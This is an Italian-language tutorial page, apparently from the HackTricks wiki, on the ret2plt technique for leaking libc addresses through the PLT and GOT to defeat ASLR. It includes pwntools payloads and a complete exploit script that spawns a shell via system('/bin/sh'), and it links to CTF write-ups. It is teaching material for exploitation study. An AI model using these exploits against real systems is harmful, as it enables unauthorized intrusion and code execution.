# Ret2plt {{#include ../../../banners/hacktricks-training.md}} ## Informazioni di base L'obiettivo di questa tecnica sarebbe quello di **leakare un indirizzo da una funzione del PLT** per poter bypassare ASLR. Questo perché, se ad esempio, leakate l'indirizzo della funzione `puts` dalla libc, potete poi **calcolare dove si trova la base di `libc`** e calcolare gli offset per accedere ad altre funzioni come **`system`**. Questo può essere fatto con un payload `pwntools` come ([**da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python # 32-bit ret2plt payload = flat( b'A' * padding, elf.plt['puts'], elf.symbols['main'], elf.got['puts'] ) # 64-bit payload = flat( b'A' * padding, POP_RDI, elf.got['puts'] elf.plt['puts'], elf.symbols['main'] ) ``` Nota come **`puts`** (utilizzando l'indirizzo dal PLT) venga chiamato con l'indirizzo di `puts` situato nel GOT (Global Offset Table). Questo perché, quando `puts` stampa l'entry del GOT di puts, questa **entry conterrà l'indirizzo esatto di `puts` in memoria**. Nota anche come l'indirizzo di `main` venga utilizzato nell'exploit, così quando `puts` termina la sua esecuzione, il **binary chiama di nuovo `main` invece di uscire** (quindi l'indirizzo leak continuerà a essere valido). > [!CAUTION] > Nota come, affinché questo funzioni, il **binary non può essere compilato con PIE** oppure devi aver **trovato un leak per bypassare PIE** per conoscere l'indirizzo del PLT, GOT e main. Altrimenti, devi prima bypassare PIE. Puoi trovare un [**esempio completo di questo bypass qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Questo era l'exploit finale di quell'**esempio**: ```python from pwn import * elf = context.binary = ELF('./vuln-32') libc = elf.libc p = process() p.recvline() payload = flat( 'A' * 32, elf.plt['puts'], elf.sym['main'], elf.got['puts'] ) p.sendline(payload) puts_leak = u32(p.recv(4)) p.recvlines(2) libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( 'A' * 32, libc.sym['system'], libc.sym['exit'], next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` ## Altri esempi e Riferimenti - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un one gadget. {{#include ../../../banners/hacktricks-training.md}}